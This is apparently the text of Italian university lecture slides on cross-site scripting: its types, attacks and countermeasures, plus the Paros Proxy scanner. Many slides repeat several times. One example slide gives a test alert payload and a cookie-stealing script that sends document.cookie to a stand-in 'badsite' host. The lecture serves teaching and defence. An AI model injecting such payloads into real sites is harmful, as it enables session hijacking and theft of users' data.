Cross-Site Scripting Caratteristiche generali XSS: caratteristiche generali Il cross-site scripting è... una forma di code injection che inietta specifici tag HTML o codice JavaScript malevolo all interno di un applicazione web; Riguarda contenuti dinamici e non (HTML injection); Forza il browser all esecuzione di codice malevolo, contenuto nella pagina web cui l utente accede; Test di vulnerabilità: visualizzazione di semplici alert con tag <script>; Stessi obiettivi della SQL injection: accesso a dati riservati, controllo del server o della intranet, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 16 / 25

Cross-Site Scripting Caratteristiche generali XSS: caratteristiche generali Il cross-site scripting è... una forma di code injection che inietta specifici tag HTML o codice JavaScript malevolo all interno di un applicazione web; Riguarda contenuti dinamici e non (HTML injection); Forza il browser all esecuzione di codice malevolo, contenuto nella pagina web cui l utente accede; Test di vulnerabilità: visualizzazione di semplici alert con tag <script>; Stessi obiettivi della SQL injection: accesso a dati riservati, controllo del server o della intranet, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 16 / 25

Cross-Site Scripting Caratteristiche generali XSS: caratteristiche generali Il cross-site scripting è... una forma di code injection che inietta specifici tag HTML o codice JavaScript malevolo all interno di un applicazione web; Riguarda contenuti dinamici e non (HTML injection); Forza il browser all esecuzione di codice malevolo, contenuto nella pagina web cui l utente accede; Test di vulnerabilità: visualizzazione di semplici alert con tag <script>; Stessi obiettivi della SQL injection: accesso a dati riservati, controllo del server o della intranet, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 16 / 25

Cross-Site Scripting Caratteristiche generali XSS: caratteristiche generali Il cross-site scripting è... una forma di code injection che inietta specifici tag HTML o codice JavaScript malevolo all interno di un applicazione web; Riguarda contenuti dinamici e non (HTML injection); Forza il browser all esecuzione di codice malevolo, contenuto nella pagina web cui l utente accede; Test di vulnerabilità: visualizzazione di semplici alert con tag <script>; Stessi obiettivi della SQL injection: accesso a dati riservati, controllo del server o della intranet, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 16 / 25

Cross-Site Scripting Caratteristiche generali XSS: caratteristiche generali Il cross-site scripting è... una forma di code injection che inietta specifici tag HTML o codice JavaScript malevolo all interno di un applicazione web; Riguarda contenuti dinamici e non (HTML injection); Forza il browser all esecuzione di codice malevolo, contenuto nella pagina web cui l utente accede; Test di vulnerabilità: visualizzazione di semplici alert con tag <script>; Stessi obiettivi della SQL injection: accesso a dati riservati, controllo del server o della intranet, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 16 / 25

Cross-Site Scripting Caratteristiche generali Tipi di attacchi XSS Tipologie di XSS XSS persistente: codice memorizzato sul server permanentemente, chiunque acceda alla pagina subisce l attacco; XSS non persistente o riflesso: codice non permanente inserito in un link ad-hoc, la vittima deve cliccarci per subire l attacco (email spamming, ing. sociale); XSS DOM-based: XSS non persistente, codice malevolo salvato nel DOM della pagina web, basato sempre su link ad-hoc. Simona Ullo (UniCT) Attacchi alle applicazioni web 17 / 25

Cross-Site Scripting Caratteristiche generali Tipi di attacchi XSS Tipologie di XSS XSS persistente: codice memorizzato sul server permanentemente, chiunque acceda alla pagina subisce l attacco; XSS non persistente o riflesso: codice non permanente inserito in un link ad-hoc, la vittima deve cliccarci per subire l attacco (email spamming, ing. sociale); XSS DOM-based: XSS non persistente, codice malevolo salvato nel DOM della pagina web, basato sempre su link ad-hoc. Simona Ullo (UniCT) Attacchi alle applicazioni web 17 / 25

Cross-Site Scripting Caratteristiche generali Tipi di attacchi XSS Tipologie di XSS XSS persistente: codice memorizzato sul server permanentemente, chiunque acceda alla pagina subisce l attacco; XSS non persistente o riflesso: codice non permanente inserito in un link ad-hoc, la vittima deve cliccarci per subire l attacco (email spamming, ing. sociale); XSS DOM-based: XSS non persistente, codice malevolo salvato nel DOM della pagina web, basato sempre su link ad-hoc. Simona Ullo (UniCT) Attacchi alle applicazioni web 17 / 25

Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

Cross-Site Scripting Esempi di attacchi XSS Qualche esempio di attacco XSS Test di vulnerabilità con messaggio di alert (XSS non persistente in un form di ricerca) <FORM action = \http://www.libreria.it/carrello.php "> <INPUT type = \text " name = \search " value = \"> <script> alert( XSS%20Test ) </script> <INPUT type = \submit " value = \Submit "> </FORM> Accesso ai cookies di sessione (XSS persistente in un forum) ><script language = \javascript "> document.location.href = \http://badsite/bad-script.php? value = " + document.cookie; </script> Simona Ullo (UniCT) Attacchi alle applicazioni web 20 / 25

Cross-Site Scripting Esempi di attacchi XSS Qualche esempio di attacco XSS Test di vulnerabilità con messaggio di alert (XSS non persistente in un form di ricerca) <FORM action = \http://www.libreria.it/carrello.php "> <INPUT type = \text " name = \search " value = \"> <script> alert( XSS%20Test ) </script> <INPUT type = \submit " value = \Submit "> </FORM> Accesso ai cookies di sessione (XSS persistente in un forum) ><script language = \javascript "> document.location.href = \http://badsite/bad-script.php? value = " + document.cookie; </script> Simona Ullo (UniCT) Attacchi alle applicazioni web 20 / 25

Paros Proxy Cos è Paros? Verifica delle vulnerabilità Paros Proxy Simona Ullo (UniCT) Attacchi alle applicazioni web 21 / 25

Paros Proxy Cos è Paros? Paros Proxy: un esempio di pen tester Paros Proxy è... Software freeware e opensource sviluppato in Java; Server proxy che può essere configurato per filtrare tutto il traffico HTTP/HTTPS in una comunicazione client/server; Utilizzato per l analisi della sicurezza nelle applicazioni web; Varie funzionalità tra cui vulnerability scanner per SQL injection e Cross-site scripting. Simona Ullo (UniCT) Attacchi alle applicazioni web 22 / 25

Paros Proxy Cos è Paros? Paros Proxy: un esempio di pen tester Paros Proxy è... Software freeware e opensource sviluppato in Java; Server proxy che può essere configurato per filtrare tutto il traffico HTTP/HTTPS in una comunicazione client/server; Utilizzato per l analisi della sicurezza nelle applicazioni web; Varie funzionalità tra cui vulnerability scanner per SQL injection e Cross-site scripting. Simona Ullo (UniCT) Attacchi alle applicazioni web 22 / 25

Paros Proxy Cos è Paros? Paros Proxy: un esempio di pen tester Paros Proxy è... Software freeware e opensource sviluppato in Java; Server proxy che può essere configurato per filtrare tutto il traffico HTTP/HTTPS in una comunicazione client/server; Utilizzato per l analisi della sicurezza nelle applicazioni web; Varie funzionalità tra cui vulnerability scanner per SQL injection e Cross-site scripting. Simona Ullo (UniCT) Attacchi alle applicazioni web 22 / 25

Paros Proxy Cos è Paros? Paros Proxy: un esempio di pen tester Paros Proxy è... Software freeware e opensource sviluppato in Java; Server proxy che può essere configurato per filtrare tutto il traffico HTTP/HTTPS in una comunicazione client/server; Utilizzato per l analisi della sicurezza nelle applicazioni web; Varie funzionalità tra cui vulnerability scanner per SQL injection e Cross-site scripting. Simona Ullo (UniCT) Attacchi alle applicazioni web 22 / 25

Paros Proxy Un esempio di scansione con Paros Scansione con Paros Per avviare una scansione bisogna: Configurare il browser per la connessione al proxy alla porta 8080 (traffico HTTP); Navigare le pagine del sito che devono essere analizzate; Settare le politiche di scansione (quali vulnerabilità testare); Avviare la scansione e visionare i risultati in formato HTML. Simona Ullo (UniCT) Attacchi alle applicazioni web 23 / 25

Paros Proxy Un esempio di scansione con Paros Scansione con Paros Per avviare una scansione bisogna: Configurare il browser per la connessione al proxy alla porta 8080 (traffico HTTP); Navigare le pagine del sito che devono essere analizzate; Settare le politiche di scansione (quali vulnerabilità testare); Avviare la scansione e visionare i risultati in formato HTML. Simona Ullo (UniCT) Attacchi alle applicazioni web 23 / 25

Paros Proxy Un esempio di scansione con Paros Scansione con Paros Per avviare una scansione bisogna: Configurare il browser per la connessione al proxy alla porta 8080 (traffico HTTP); Navigare le pagine del sito che devono essere analizzate; Settare le politiche di scansione (quali vulnerabilità testare); Avviare la scansione e visionare i risultati in formato HTML. Simona Ullo (UniCT) Attacchi alle applicazioni web 23 / 25

Paros Proxy Un esempio di scansione con Paros Scansione con Paros Per avviare una scansione bisogna: Configurare il browser per la connessione al proxy alla porta 8080 (traffico HTTP); Navigare le pagine del sito che devono essere analizzate; Settare le politiche di scansione (quali vulnerabilità testare); Avviare la scansione e visionare i risultati in formato HTML. Simona Ullo (UniCT) Attacchi alle applicazioni web 23 / 25

Paros Proxy Risultati della scansione Un esempio di scansione con Paros Esempio di report prodotto da Paros in seguito ad una scansione per vulnerabilità di SQL injection: Simona Ullo (UniCT) Attacchi alle applicazioni web 24 / 25

Paros Proxy Risultati della scansione Un esempio di scansione con Paros Esempio di report prodotto da Paros in seguito ad una scansione per vulnerabilità XSS: Simona Ullo (UniCT) Attacchi alle applicazioni web 25 / 25